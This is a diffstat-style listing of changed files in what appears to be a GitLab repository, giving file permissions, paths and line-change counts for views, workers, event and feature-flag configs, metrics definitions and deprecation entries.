-rw-r--r--app/views/shared/issuable/form/_type_selector.html.haml2
-rw-r--r--app/views/shared/members/_filter_2fa_dropdown.html.haml11
-rw-r--r--app/views/shared/members/_requests.html.haml2
-rw-r--r--app/views/shared/milestones/_milestone.html.haml6
-rw-r--r--app/views/shared/milestones/_sidebar.html.haml4
-rw-r--r--app/views/shared/milestones/_tabs.html.haml30
-rw-r--r--app/views/shared/nav/_scope_menu.html.haml2
-rw-r--r--app/views/shared/nav/_sidebar_hidden_menu_item.html.haml2
-rw-r--r--app/views/shared/nav/_sidebar_menu.html.haml2
-rw-r--r--app/views/shared/nav/_sidebar_menu_item.html.haml2
-rw-r--r--app/views/shared/projects/_archived.html.haml3
-rw-r--r--app/views/shared/projects/_project.html.haml2
-rw-r--r--app/views/shared/projects/_topics.html.haml17
-rw-r--r--app/views/shared/runners/_runner_description.html.haml4
-rw-r--r--app/views/shared/runners/_runner_details.html.haml3
-rw-r--r--app/views/shared/runners/_runner_type_badge.html.haml9
-rw-r--r--app/views/shared/snippets/_embed.html.haml2
-rw-r--r--app/views/shared/web_hooks/_hook.html.haml10
-rw-r--r--app/views/shared/web_hooks/_hook_errors.html.haml41
-rw-r--r--app/views/shared/web_hooks/_title_and_docs.html.haml2
-rw-r--r--app/views/shared/wikis/_wiki_content.html.haml2
-rw-r--r--app/views/shared/wikis/show.html.haml3
-rw-r--r--app/views/snippets/_snippets_scope_menu.html.haml41
-rw-r--r--app/views/users/_overview.html.haml4
-rw-r--r--app/views/users/calendar_activities.html.haml2
-rw-r--r--app/views/users/show.html.haml3
-rw-r--r--app/views/users/terms/index.html.haml27
-rw-r--r--app/workers/all_queues.yml51
-rw-r--r--app/workers/background_migration/single_database_worker.rb148
-rw-r--r--app/workers/background_migration_worker.rb117
-rw-r--r--app/workers/bulk_imports/entity_worker.rb5
-rw-r--r--app/workers/bulk_imports/pipeline_worker.rb4
-rw-r--r--app/workers/ci/create_downstream_pipeline_worker.rb1
-rw-r--r--app/workers/ci/pending_builds/update_group_worker.rb19
-rw-r--r--app/workers/ci/pending_builds/update_project_worker.rb19
-rw-r--r--app/workers/ci/pipeline_artifacts/create_quality_report_worker.rb2
-rw-r--r--app/workers/concerns/application_worker.rb4
-rw-r--r--app/workers/expire_job_cache_worker.rb15
-rw-r--r--app/workers/issuable_export_csv_worker.rb2
-rw-r--r--app/workers/issue_placement_worker.rb7
-rw-r--r--app/workers/issue_rebalancing_worker.rb3
-rw-r--r--app/workers/issues/rebalancing_worker.rb1
-rw-r--r--app/workers/issues/reschedule_stuck_issue_rebalances_worker.rb4
-rw-r--r--app/workers/namespaces/process_sync_events_worker.rb22
-rw-r--r--app/workers/projects/process_sync_events_worker.rb22
-rw-r--r--app/workers/propagate_integration_worker.rb2
-rw-r--r--app/workers/propagate_service_template_worker.rb29
-rw-r--r--app/workers/purge_dependency_proxy_cache_worker.rb11
-rw-r--r--app/workers/todos_destroyer/private_features_worker.rb2
-rwxr-xr-xbin/metrics-server12
-rw-r--r--config/apollo.config.js10
-rw-r--r--config/events/202108302307_security__ci_configuration__sast_create_service_create.yml21
-rw-r--r--config/events/202108302307_security__ci_configuration__sast_create_service_update.yml21
-rw-r--r--config/events/202108302307_security__ci_configuration__secret_detection_create_service_create.yml21
-rw-r--r--config/events/202108302307_security__ci_configuration__secret_detection_create_service_update.yml21
-rw-r--r--config/events/202109151015_api__group_container_repositories_list_repositories.yml21
-rw-r--r--config/events/202109151015_api__project_container_repositories_delete_repository.yml21
-rw-r--r--config/events/202109151015_api__project_container_repositories_delete_tag.yml21
-rw-r--r--config/events/202109151015_api__project_container_repositories_delete_tag_bulk.yml21
-rw-r--r--config/events/202109151015_api__project_container_repositories_list_repositories.yml21
-rw-r--r--config/events/202109151015_api__project_container_repositories_list_tags.yml21
-rw-r--r--config/events/202109151015_api__pypi_packages_list_package.yml21
-rw-r--r--config/events/202109151015_cluster_applications_cluster_application_name.yml21
-rw-r--r--config/events/202109151015_cluster_services_prometheus_disabled_manual_prometheus.yml21
-rw-r--r--config/events/202109151015_cluster_services_prometheus_enabled_manual_prometheus.yml21
-rw-r--r--config/events/202109151015_container_registry_notification_create_repository.yml21
-rw-r--r--config/events/202109151015_container_registry_notification_delete_repository.yml21
-rw-r--r--config/events/202109151015_container_registry_notification_delete_tag.yml21
-rw-r--r--config/events/202109151015_container_registry_notification_push_repository.yml21
-rw-r--r--config/events/202109151015_container_registry_notification_push_tag.yml21
-rw-r--r--config/events/202109151015_delete_repository_container.yml21
-rw-r--r--config/events/202109151015_delete_tag_bulk_tag.yml21
-rw-r--r--config/events/202109151015_experiment_name_initial_write.yml21
-rw-r--r--config/events/202109151015_experiment_name_write.yml21
-rw-r--r--config/events/202109151015_groups__email_campaigns_controller_click.yml21
-rw-r--r--config/events/202109151015_groups__registry__repositories_controller_list_repositories.yml21
-rw-r--r--config/events/202109151015_incident_management__zoom_integration_add_zoom_meeting.yml21
-rw-r--r--config/events/202109151015_incident_management__zoom_integration_remove_zoom_meeting.yml21
-rw-r--r--config/events/202109151015_list_repositories_container.yml21
-rw-r--r--config/events/202109151015_notes__create_service_execute.yml21
-rw-r--r--config/events/202109151015_package_class_pull_package.yml21
-rw-r--r--config/events/202109151015_package_class_push_package.yml21
-rw-r--r--config/events/202109151015_projects__registry__repositories_controller_delete_repository.yml21
-rw-r--r--config/events/202109151015_projects__registry__repositories_controller_list_repositories.yml21
-rw-r--r--config/events/202109151015_projects__registry__tags_controller_delete_tag.yml21
-rw-r--r--config/events/202109151015_projects__registry__tags_controller_delete_tag_bulk.yml21
-rw-r--r--config/events/202109151015_projects__registry__tags_controller_list_tags.yml21
-rw-r--r--config/events/20211215022206_default_click_button.yml21
-rw-r--r--config/events/20211215022206_default_click_link.yml21
-rw-r--r--config/events/20211215022206_default_click_menu.yml25
-rw-r--r--config/events/20211215022206_default_click_menu_item.yml25
-rw-r--r--config/events/20211215022206_default_comment_button_title_button_click_button.yml21
-rw-r--r--config/events/20211215022206_default_congratulate_first_pipeline_click_button.yml21
-rw-r--r--config/events/20211215022206_default_create_or_import_a_repository_click_link.yml21
-rw-r--r--config/events/20211215022206_default_create_value_stream_form_open_click_button.yml21
-rw-r--r--config/events/20211215022206_default_create_value_stream_form_open_click_dropdown.yml21
-rw-r--r--config/events/20211215022206_default_delete_value_stream_form_open_click_dropdown.yml21
-rw-r--r--config/events/20211215022206_default_diff_copy_file_path_button_click_copy_file_button.yml21
-rw-r--r--config/events/20211215022206_default_diff_toggle_external_button_click_toggle_external_button.yml21
-rw-r--r--config/events/20211215022206_default_edit_assignee_click_invite_members.yml21
-rw-r--r--config/events/20211215022206_default_edit_click_consolidated_edit.yml21
-rw-r--r--config/events/20211215022206_default_edit_reviewer_click_invite_members.yml21
-rw-r--r--config/events/20211215022206_default_edit_value_stream_form_open_click_button.yml21
-rw-r--r--config/events/20211215022206_default_environment_actions_click_dropdown.yml21
-rw-r--r--config/events/20211215022206_default_environment_delete_click_button.yml21
-rw-r--r--config/events/20211215022206_default_environment_monitoring_click_button.yml21
-rw-r--r--config/events/20211215022206_default_environment_pin_click_button.yml21
-rw-r--r--config/events/20211215022206_default_environment_rollback_click_button.yml21
-rw-r--r--config/events/20211215022206_default_environment_stop_click_button.yml21
-rw-r--r--config/events/20211215022206_default_environment_terminal_click_button.yml21
-rw-r--r--config/events/20211215022206_default_environment_url_click_button.yml21
-rw-r--r--config/events/20211215022206_default_export_issuable_type_csv_click_button.yml21
-rw-r--r--config/events/20211215022206_default_feature_flag_toggle_click_button.yml21
-rw-r--r--config/events/20211215022206_default_feature_title_click_whats_new_item.yml21
-rw-r--r--config/events/20211215022206_default_home_page_click_go_to_preferences.yml21
-rw-r--r--config/events/20211215022206_default_mr_next_unresolved_thread_click_button.yml21
-rw-r--r--config/events/20211215022206_default_mr_widget_terraform_mr_plan_button_click_terraform_mr_plan_button.yml21
-rw-r--r--config/events/20211215022206_default_no_pipeline_noticed_click_button.yml21
-rw-r--r--config/events/20211215022206_default_reply_comment_button_click_button.yml21
-rw-r--r--config/events/20211215022206_default_review_app_open_review_app.yml21
-rw-r--r--config/events/20211215022206_default_right_sidebar_click_edit_button.yml21
-rw-r--r--config/events/20211215022206_default_search_autocomplete_suggestion_click_text.yml21
-rw-r--r--config/events/20211215022206_default_show_labels_toggle.yml21
-rw-r--r--config/events/20211215022206_default_slugged_stream_name_click_dropdown.yml21
-rw-r--r--config/events/20211215022206_default_suggest_commit_first_project_gitlab_ci_yml__click_button.yml21
-rw-r--r--config/events/20211215022206_default_web_ide_click_consolidated_edit_ide.yml21
-rw-r--r--config/events/api__group_container_repositories_list_repositories.yml18
-rw-r--r--config/events/api__project_container_repositories_delete_repository.yml18
-rw-r--r--config/events/api__project_container_repositories_delete_tag.yml18
-rw-r--r--config/events/api__project_container_repositories_delete_tag_bulk.yml18
-rw-r--r--config/events/api__project_container_repositories_list_repositories.yml18
-rw-r--r--config/events/api__project_container_repositories_list_tags.yml18
-rw-r--r--config/events/api__pypi_packages_list_package.yml18
-rw-r--r--config/events/cluster_applications_cluster_application_name.yml18
-rw-r--r--config/events/cluster_services_prometheus_disabled_manual_prometheus.yml18
-rw-r--r--config/events/cluster_services_prometheus_enabled_manual_prometheus.yml18
-rw-r--r--config/events/container_registry_notification_create_repository.yml18
-rw-r--r--config/events/container_registry_notification_delete_repository.yml18
-rw-r--r--config/events/container_registry_notification_delete_tag.yml18
-rw-r--r--config/events/container_registry_notification_push_repository.yml18
-rw-r--r--config/events/container_registry_notification_push_tag.yml18
-rw-r--r--config/events/delete_repository_container.yml18
-rw-r--r--config/events/delete_tag_bulk_tag.yml18
-rw-r--r--config/events/experiment_name_initial_write.yml18
-rw-r--r--config/events/experiment_name_write.yml18
-rw-r--r--config/events/groups__email_campaigns_controller_click.yml18
-rw-r--r--config/events/groups__registry__repositories_controller_list_repositories.yml18
-rw-r--r--config/events/incident_management__zoom_integration_add_zoom_meeting.yml18
-rw-r--r--config/events/incident_management__zoom_integration_remove_zoom_meeting.yml18
-rw-r--r--config/events/list_repositories_container.yml18
-rw-r--r--config/events/notes__create_service_execute.yml18
-rw-r--r--config/events/package_class_pull_package.yml18
-rw-r--r--config/events/package_class_push_package.yml18
-rw-r--r--config/events/projects__registry__repositories_controller_delete_repository.yml18
-rw-r--r--config/events/projects__registry__repositories_controller_list_repositories.yml18
-rw-r--r--config/events/projects__registry__tags_controller_delete_tag.yml18
-rw-r--r--config/events/projects__registry__tags_controller_delete_tag_bulk.yml18
-rw-r--r--config/events/projects__registry__tags_controller_list_tags.yml18
-rw-r--r--config/feature_categories.yml10
-rw-r--r--config/feature_flags/development/abort_deleted_project_pipelines.yml8
-rw-r--r--config/feature_flags/development/admin_deploy_keys_vue.yml2
-rw-r--r--config/feature_flags/development/api_v3_commits_skip_diff_files.yml8
-rw-r--r--config/feature_flags/development/atomic_sidekiq_scheduler.yml8
-rw-r--r--config/feature_flags/development/automated_email_provision.yml8
-rw-r--r--config/feature_flags/development/avoid_cross_joins_environments_in_self_and_descendants.yml8
-rw-r--r--config/feature_flags/development/between_commits_via_list_commits.yml8
-rw-r--r--config/feature_flags/development/branches_pagination_without_count.yml8
-rw-r--r--config/feature_flags/development/cached_mr_title.yml8
-rw-r--r--config/feature_flags/development/ci_build_tags_limit.yml8
-rw-r--r--config/feature_flags/development/ci_bulk_insert_tags.yml8
-rw-r--r--config/feature_flags/development/ci_namespace_project_mirrors.yml8
-rw-r--r--config/feature_flags/development/ci_new_query_for_pending_stuck_jobs.yml8
-rw-r--r--config/feature_flags/development/ci_optimize_project_records_destruction.yml8
-rw-r--r--config/feature_flags/development/ci_pending_builds_maintain_ci_minutes_data.yml8
-rw-r--r--config/feature_flags/development/ci_pending_builds_maintain_denormalized_data.yml8
-rw-r--r--config/feature_flags/development/ci_pending_builds_maintain_namespace_traversal_ids.yml8
-rw-r--r--config/feature_flags/development/ci_pending_builds_maintain_shared_runners_data.yml8
-rw-r--r--config/feature_flags/development/ci_pending_builds_maintain_tags_data.yml8
-rw-r--r--config/feature_flags/development/ci_pending_builds_project_runners_decoupling.yml8
-rw-r--r--config/feature_flags/development/ci_pending_builds_queue_maintain.yml8
-rw-r--r--config/feature_flags/development/ci_predefined_vars_in_builder.yml8
-rw-r--r--config/feature_flags/development/ci_queueing_builds_enabled_checks.yml8
-rw-r--r--config/feature_flags/development/ci_queueing_denormalize_ci_minutes_information.yml8
-rw-r--r--config/feature_flags/development/ci_queueing_denormalize_namespace_traversal_ids.yml8
-rw-r--r--config/feature_flags/development/ci_queueing_denormalize_shared_runners_information.yml8
-rw-r--r--config/feature_flags/development/ci_queueing_denormalize_tags_information.yml8
-rw-r--r--config/feature_flags/development/ci_queuing_use_denormalized_data_strategy.yml8
-rw-r--r--config/feature_flags/development/ci_require_credit_card_on_free_plan.yml4
-rw-r--r--config/feature_flags/development/ci_require_credit_card_on_trial_plan.yml4
-rw-r--r--config/feature_flags/development/ci_retry_downstream_pipeline.yml8
-rw-r--r--config/feature_flags/development/ci_runner_limits_override.yml8
-rw-r--r--config/feature_flags/development/ci_scoped_job_token.yml8
-rw-r--r--config/feature_flags/development/ci_store_trace_outside_transaction.yml4
-rw-r--r--config/feature_flags/development/ci_track_shared_runner_builds.yml8
-rw-r--r--config/feature_flags/development/ci_untrack_shared_runner_builds.yml8
-rw-r--r--config/feature_flags/development/ci_yaml_limit_size.yml2
-rw-r--r--config/feature_flags/development/configurable_diff_limits.yml8
-rw-r--r--config/feature_flags/development/configure_iac_scanning_via_mr.yml8
-rw-r--r--config/feature_flags/development/create_deployment_in_separate_transaction.yml8
-rw-r--r--config/feature_flags/development/create_vulnerabilities_via_api.yml8
-rw-r--r--config/feature_flags/development/customer_relations.yml2
-rw-r--r--config/feature_flags/development/dependency_proxy_manifest_workhorse.yml8
-rw-r--r--config/feature_flags/development/deployment_approvals.yml8
-rw-r--r--config/feature_flags/development/deployments_archive.yml2
-rw-r--r--config/feature_flags/development/display_outdated_line_diff.yml4
-rw-r--r--config/feature_flags/development/drop_detached_partitions.yml8
-rw-r--r--config/feature_flags/development/early_prepare_for_mergeability.yml8
-rw-r--r--config/feature_flags/development/environments_by_deployments_finder_exists_optimization.yml8
-rw-r--r--config/feature_flags/development/expire_job_and_pipeline_cache_synchronously.yml8
-rw-r--r--config/feature_flags/development/files_api_throttling.yml8
-rw-r--r--config/feature_flags/development/find_tag_via_gitaly.yml2
-rw-r--r--config/feature_flags/development/hide_access_tokens.yml8
-rw-r--r--config/feature_flags/development/highlight_js.yml8
-rw-r--r--config/feature_flags/development/improved_container_scan_matching.yml8
-rw-r--r--config/feature_flags/development/incident_escalations.yml8
-rw-r--r--config/feature_flags/development/increased_diff_limits.yml8
-rw-r--r--config/feature_flags/development/jira_use_first_ref_by_oid.yml2
-rw-r--r--config/feature_flags/development/jobs_tab_vue.yml8
-rw-r--r--config/feature_flags/development/keyset_pagination_for_groups_api.yml8
-rw-r--r--config/feature_flags/development/labels_widget.yml8
-rw-r--r--config/feature_flags/development/lfk_automatic_partition_creation.yml8
-rw-r--r--config/feature_flags/development/lfk_automatic_partition_dropping.yml8
-rw-r--r--config/feature_flags/development/lfs_auto_link_fork_source.yml8
-rw-r--r--config/feature_flags/development/limited_diff_highlighting.yml8
-rw-r--r--config/feature_flags/development/linear_application_settings_elasticsearch_limited_namespaces.yml8
-rw-r--r--config/feature_flags/development/linear_group_descendants_finder.yml8
-rw-r--r--config/feature_flags/development/linear_group_including_descendants_by.yml8
-rw-r--r--config/feature_flags/development/linear_groups_template_finder_extended_group_search.yml8
-rw-r--r--config/feature_flags/development/linear_user_group_notification_settings_finder_ancestors_scopes.yml8
-rw-r--r--config/feature_flags/development/linear_user_groups_with_developer_maintainer_project_access.yml8
-rw-r--r--config/feature_flags/development/linear_user_membership_groups.yml8
-rw-r--r--config/feature_flags/development/load_balancing_for_update_all_mirrors_worker.yml8
-rw-r--r--config/feature_flags/development/log_implicit_sidekiq_status_calls.yml8
-rw-r--r--config/feature_flags/development/migrate_user_mentions.yml11
-rw-r--r--config/feature_flags/development/multiple_gpg_signatures.yml2
-rw-r--r--config/feature_flags/development/new_route_ci_minutes_purchase.yml2
-rw-r--r--config/feature_flags/development/operational_vulnerabilities.yml2
-rw-r--r--config/feature_flags/development/optimized_issue_neighbor_queries.yml8
-rw-r--r--config/feature_flags/development/packages_npm_abbreviated_metadata.yml8
-rw-r--r--config/feature_flags/development/paginatable_namespace_drop_down_for_project_creation.yml2
-rw-r--r--config/feature_flags/development/partition_pruning.yml8
-rw-r--r--config/feature_flags/development/preserve_latest_wal_locations_for_idempotent_jobs.yml2
-rw-r--r--config/feature_flags/development/prevent_abusive_searches.yml8
-rw-r--r--config/feature_flags/development/refactor_text_viewer.yml8
-rw-r--r--config/feature_flags/development/reference_cache_memoization.yml8
-rw-r--r--config/feature_flags/development/s3_multithreaded_uploads.yml2
-rw-r--r--config/feature_flags/development/sbom_survey.yml8
-rw-r--r--config/feature_flags/development/scim_token_vue.yml8
-rw-r--r--config/feature_flags/development/secure_vulnerability_training.yml8
-rw-r--r--config/feature_flags/development/shimo_integration.yml8
-rw-r--r--config/feature_flags/development/skip_scheduling_workers_for_replicas.yml8
-rw-r--r--config/feature_flags/development/surface_environment_creation_failure.yml8
-rw-r--r--config/feature_flags/development/surface_environment_creation_failure_override.yml8
-rw-r--r--config/feature_flags/development/terms_of_service_vue.yml8
-rw-r--r--config/feature_flags/development/track_importer_activity.yml8
-rw-r--r--config/feature_flags/development/usage_data_instrumentation.yml8
-rw-r--r--config/feature_flags/development/use_cmark_renderer.yml2
-rw-r--r--config/feature_flags/development/use_multi_store.yml8
-rw-r--r--config/feature_flags/development/use_optimized_group_labels_query.yml2
-rw-r--r--config/feature_flags/development/use_primary_and_secondary_stores_for_sessions.yml8
-rw-r--r--config/feature_flags/development/use_primary_store_as_default_for_sessions.yml8
-rw-r--r--config/feature_flags/development/use_traversal_ids_for_ancestors_upto.yml8
-rw-r--r--config/feature_flags/development/use_traversal_ids_groups_finder.yml8
-rw-r--r--config/feature_flags/development/use_upsert_query_for_mr_metrics.yml8
-rw-r--r--config/feature_flags/development/validate_namespace_parent_type.yml8
-rw-r--r--config/feature_flags/development/verify_participants_access.yml8
-rw-r--r--config/feature_flags/development/vuln_report_new_project_filter.yml8
-rw-r--r--config/feature_flags/development/vulnerability_location_image_filter.yml2
-rw-r--r--config/feature_flags/development/webauthn.yml2
-rw-r--r--config/feature_flags/development/wiki_switch_between_content_editor_raw_markdown.yml8
-rw-r--r--config/feature_flags/experiment/force_company_trial.yml8
-rw-r--r--config/feature_flags/experiment/invite_email_from.yml8
-rw-r--r--config/feature_flags/experiment/invite_email_preview_text.yml8
-rw-r--r--config/feature_flags/experiment/invite_for_help_continuous_onboarding.yml8
-rw-r--r--config/feature_flags/experiment/invite_members_for_task.yml8
-rw-r--r--config/feature_flags/experiment/invite_members_in_comment.yml8
-rw-r--r--config/feature_flags/experiment/invite_members_new_dropdown_experiment_percentage.yml8
-rw-r--r--config/feature_flags/experiment/member_areas_of_focus.yml8
-rw-r--r--config/feature_flags/ops/ci_pipeline_creation_logger.yml8
-rw-r--r--config/feature_flags/ops/database_async_index_creation.yml8
-rw-r--r--config/feature_flags/ops/feature_flag_state_logs.yml8
-rw-r--r--config/feature_flags/ops/gtm_nonce.yml8
-rw-r--r--config/feature_flags/ops/lower_relation_max_count_limit.yml8
-rw-r--r--config/gitlab.yml.example6
-rw-r--r--config/initializers/1_settings.rb14
-rw-r--r--config/initializers/7_prometheus_metrics.rb20
-rw-r--r--config/initializers/active_record_database_tasks.rb7
-rw-r--r--config/initializers/active_record_transaction_observer.rb4
-rw-r--r--config/initializers/backtrace_silencers.rb4
-rw-r--r--config/initializers/database_config.rb8
-rw-r--r--config/initializers/doorkeeper_openid_connect.rb9
-rw-r--r--config/initializers/forbid_sidekiq_in_transactions.rb8
-rw-r--r--config/initializers/gitlab_experiment.rb2
-rw-r--r--config/initializers/kaminari_active_record_relation_methods_with_limit.rb4
-rw-r--r--config/initializers/postgres_partitioning.rb3
-rw-r--r--config/initializers/session_store.rb45
-rw-r--r--config/initializers/sidekiq.rb5
-rw-r--r--config/initializers/validate_database_config.rb4
-rw-r--r--config/initializers/wikicloth_patch.rb159
-rw-r--r--config/metrics/counts_28d/20210216175016_analytics_total_unique_counts_monthly.yml49
-rw-r--r--config/metrics/counts_28d/20210216175101_merge_requests_users.yml2
-rw-r--r--config/metrics/counts_28d/20210216175542_ci_builds.yml2
-rw-r--r--config/metrics/counts_28d/20210216175546_ci_internal_pipelines.yml2
-rw-r--r--config/metrics/counts_28d/20210216175550_ci_pipeline_config_repository.yml2
-rw-r--r--config/metrics/counts_28d/20210216175554_ci_pipelines.yml2
-rw-r--r--config/metrics/counts_28d/20210216180745_action_monthly_active_users_design_management.yml2
-rw-r--r--config/metrics/counts_28d/20210216181050_packages.yml2
-rw-r--r--config/metrics/counts_28d/20210216181139_issues.yml2
-rw-r--r--config/metrics/counts_28d/20210216181158_epics.yml6
-rw-r--r--config/metrics/counts_28d/20210216181337_g_project_management_issue_milestone_changed_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210216181935_deployments.yml2
-rw-r--r--config/metrics/counts_28d/20210216181939_releases.yml2
-rw-r--r--config/metrics/counts_28d/20210216182040_action_monthly_active_users_project_repo.yml2
-rw-r--r--config/metrics/counts_28d/20210216183701_jira.yml2
-rw-r--r--config/metrics/counts_28d/20210216184322_i_code_review_user_approve_mr_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210216184502_p_ci_templates_implicit_auto_devops_build_monthly.yml3
-rw-r--r--config/metrics/counts_28d/20210216184506_p_ci_templates_implicit_auto_devops_deploy_monthly.yml3
-rw-r--r--config/metrics/counts_28d/20210216184517_p_ci_templates_5_min_production_app_monthly.yml3
-rw-r--r--config/metrics/counts_28d/20210216184526_p_ci_templates_aws_cf_deploy_ec2_monthly.yml3
-rw-r--r--config/metrics/counts_28d/20210216184534_p_ci_templates_auto_devops_build_monthly.yml3
-rw-r--r--config/metrics/counts_28d/20210216184538_p_ci_templates_auto_devops_deploy_monthly.yml3
-rw-r--r--config/metrics/counts_28d/20210216184542_p_ci_templates_auto_devops_deploy_latest_monthly.yml3
-rw-r--r--config/metrics/counts_28d/20210216184559_ci_templates_total_unique_counts_monthly.yml4
-rw-r--r--config/metrics/counts_28d/20210427102618_code_review_category_monthly_active_users.yml4
-rw-r--r--config/metrics/counts_28d/20210902000813_p_ci_templates_implicit_auto_devops_deploy_latest_monthly.yml3
-rw-r--r--config/metrics/counts_28d/20211104154357_i_code_review_widget_nothing_merge_click_new_file_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20211109114953_i_quickactions_add_contacts_monthly.yml25
-rw-r--r--config/metrics/counts_28d/20211109120251_i_quickactions_remove_contacts_monthly.yml25
-rw-r--r--config/metrics/counts_28d/20211122134101_p_ci_templates_implicit_security_dast_api_latest_monthly.yml25
-rw-r--r--config/metrics/counts_28d/20211126084446_p_analytics_ci_cd_pipelines_monthly.yml26
-rw-r--r--config/metrics/counts_28d/20211126090835_p_analytics_ci_cd_deployment_frequency_monthly.yml26
-rw-r--r--config/metrics/counts_28d/20211126091206_p_analytics_ci_cd_lead_time_monthly.yml26
-rw-r--r--config/metrics/counts_28d/20211201140658_users_expanding_testing_license_compliance_report_monthly.yml25
-rw-r--r--config/metrics/counts_28d/20211201154341_users_visiting_license_compliance_full_report_monthly.yml25
-rw-r--r--config/metrics/counts_28d/20211201194407_p_ci_templates_security_dast_api_latest_monthly.yml25
-rw-r--r--config/metrics/counts_28d/20211202094237_users_visiting_manage_license_compliance_monthly.yml25
-rw-r--r--config/metrics/counts_7d/20210216175014_analytics_total_unique_counts_weekly.yml49
-rw-r--r--config/metrics/counts_7d/20210216184500_p_ci_templates_implicit_auto_devops_build_weekly.yml3
-rw-r--r--config/metrics/counts_7d/20210216184504_p_ci_templates_implicit_auto_devops_deploy_weekly.yml3
-rw-r--r--config/metrics/counts_7d/20210216184515_p_ci_templates_5_min_production_app_weekly.yml3
-rw-r--r--config/metrics/counts_7d/20210216184524_p_ci_templates_aws_cf_deploy_ec2_weekly.yml3
-rw-r--r--config/metrics/counts_7d/20210216184536_p_ci_templates_auto_devops_deploy_weekly.yml3
-rw-r--r--config/metrics/counts_7d/20210216184540_p_ci_templates_auto_devops_deploy_latest_weekly.yml3
-rw-r--r--config/metrics/counts_7d/20210216184557_ci_templates_total_unique_counts_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210902000809_p_ci_templates_implicit_auto_devops_deploy_latest_weekly.yml3
-rw-r--r--config/metrics/counts_7d/20211104154352_i_code_review_widget_nothing_merge_click_new_file_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20211109114948_i_quickactions_add_contacts_weekly.yml25
-rw-r--r--config/metrics/counts_7d/20211109120245_i_quickactions_remove_contacts_weekly.yml25
-rw-r--r--config/metrics/counts_7d/20211122134101_p_ci_templates_implicit_security_dast_api_latest_weekly.yml25
-rw-r--r--config/metrics/counts_7d/20211126084441_p_analytics_ci_cd_pipelines_weekly.yml26
-rw-r--r--config/metrics/counts_7d/20211126090829_p_analytics_ci_cd_deployment_frequency_weekly.yml26
-rw-r--r--config/metrics/counts_7d/20211126091200_p_analytics_ci_cd_lead_time_weekly.yml26
-rw-r--r--config/metrics/counts_7d/20211126154206_users_expanding_testing_license_compliance_report_weekly.yml25
-rw-r--r--config/metrics/counts_7d/20211201154118_users_visiting_license_compliance_full_report_weekly.yml25
-rw-r--r--config/metrics/counts_7d/20211201194402_p_ci_templates_security_dast_api_latest_weekly.yml25
-rw-r--r--config/metrics/counts_7d/20211202094430_users_visiting_manage_license_compliance_weekly.yml25
-rw-r--r--config/metrics/counts_all/20210216175229_auto_devops_enabled.yml2
-rw-r--r--config/metrics/counts_all/20210216175520_ci_runners.yml2
-rw-r--r--config/metrics/counts_all/20210216175537_ci_pipelines.yml2
-rw-r--r--config/metrics/counts_all/20210216181011_projects_with_packages.yml2
-rw-r--r--config/metrics/counts_all/20210216182004_commit_comment.yml2
-rw-r--r--config/metrics/counts_all/20210216182006_source_code_pushes.yml2
-rw-r--r--config/metrics/counts_all/20211126090001_p_analytics_ci_cd_pipelines.yml21
-rw-r--r--config/metrics/counts_all/20211126090002_p_analytics_ci_cd_deployment_frequency.yml21
-rw-r--r--config/metrics/counts_all/20211126090003_p_analytics_ci_cd_lead_time.yml21
-rw-r--r--config/metrics/license/20210204124936_pages_version.yml2
-rw-r--r--config/metrics/settings/20210204124856_instance_auto_devops_enabled.yml2
-rw-r--r--config/metrics/settings/20210204124858_container_registry_enabled.yml2
-rw-r--r--config/metrics/settings/20210204124902_gitlab_shared_runners_enabled.yml2
-rw-r--r--config/metrics/settings/20210204124914_prometheus_metrics_enabled.yml2
-rw-r--r--config/metrics/settings/20210204124934_pages_enabled.yml2
-rw-r--r--config/metrics/settings/20210216180913_enabled.yml2
-rw-r--r--config/metrics/settings/20211124061450_snowplow_enabled.yml24
-rw-r--r--config/metrics/settings/20211124085521_snowplow_configured_to_gitlab_collector_hostname.yml24
-rw-r--r--config/routes.rb3
-rw-r--r--config/routes/admin.rb2
-rw-r--r--config/routes/group.rb8
-rw-r--r--config/routes/profile.rb9
-rw-r--r--config/routes/project.rb8
-rw-r--r--config/routes/user.rb1
-rw-r--r--config/sidekiq_queues.yml10
-rw-r--r--config/webpack.config.js8
-rw-r--r--danger/ci_config/Dangerfile20
-rw-r--r--danger/ci_templates/Dangerfile2
-rw-r--r--danger/database/Dangerfile2
-rw-r--r--danger/documentation/Dangerfile2
-rw-r--r--danger/product_intelligence/Dangerfile8
-rw-r--r--danger/roulette/Dangerfile12
-rw-r--r--danger/specialization_labels/Dangerfile2
-rw-r--r--danger/specs/Dangerfile2
-rw-r--r--data/deprecations/ runner-s3-authenticationtype-nonexplicit-config-deprecation.yml5
-rw-r--r--data/deprecations/14-0-nfs-fot-git-repository-storage.yml2
-rw-r--r--data/deprecations/14-2-deprecation-task-runner.yml2
-rw-r--r--data/deprecations/14-3-database-deprecate-legacy-database-conf.yml1
-rw-r--r--data/deprecations/14-3-deprecation-release-cli.yml2
-rw-r--r--data/deprecations/14-3-package-container-registry-api-group-update.yml1
-rw-r--r--data/deprecations/14-3-repository-push-audit-events.yml1
-rw-r--r--data/deprecations/14-5-certificate-based-integration-with-kubernetes.yml2
-rw-r--r--data/deprecations/14-5-deprecate-convert-instance-runner-to-project.yml1
-rw-r--r--data/deprecations/14-5-deprecate-opensuse-15-2.yml1
-rw-r--r--data/deprecations/14-5-deprecation-vsa-announce-deprecation-of-vsa-filtering-calculation.yml3
-rw-r--r--data/deprecations/14-5-runner-api-status-does-contain-paused.yml10
-rw-r--r--data/deprecations/14-6-deprecate-types.yml14
-rw-r--r--data/deprecations/14-6-deprecation-license-compliance-api-terms.yml16
-rw-r--r--data/deprecations/14-6-deprecation-secure-dependency-scanning-bundler-audit.yml16
-rw-r--r--data/deprecations/14-6-pipeline-fields-package-deprecation.yml12
-rw-r--r--data/deprecations/14-6-remove-api-fuzzing-ci-configuration-create-mutation.yml13
-rw-r--r--data/deprecations/14-6-runner-api-status-renames-not_connected.yml14
-rw-r--r--data/deprecations/15-0-deprecate-sles-12sp2.yml1
-rw-r--r--data/deprecations/15-0-deprecation-versions-packagetype.yml1
-rw-r--r--data/deprecations/15-0-remove-dependency-proxy-permissions-flag.yml1
-rw-r--r--data/deprecations/15-0-remove-package-pipelines-api.yml1
-rw-r--r--data/deprecations/15-0-remove-pipelines-from-version-field.yml1
-rw-r--r--data/deprecations/deprecate-defaultMergeCommitMessageWithDescription-graphql.yml4
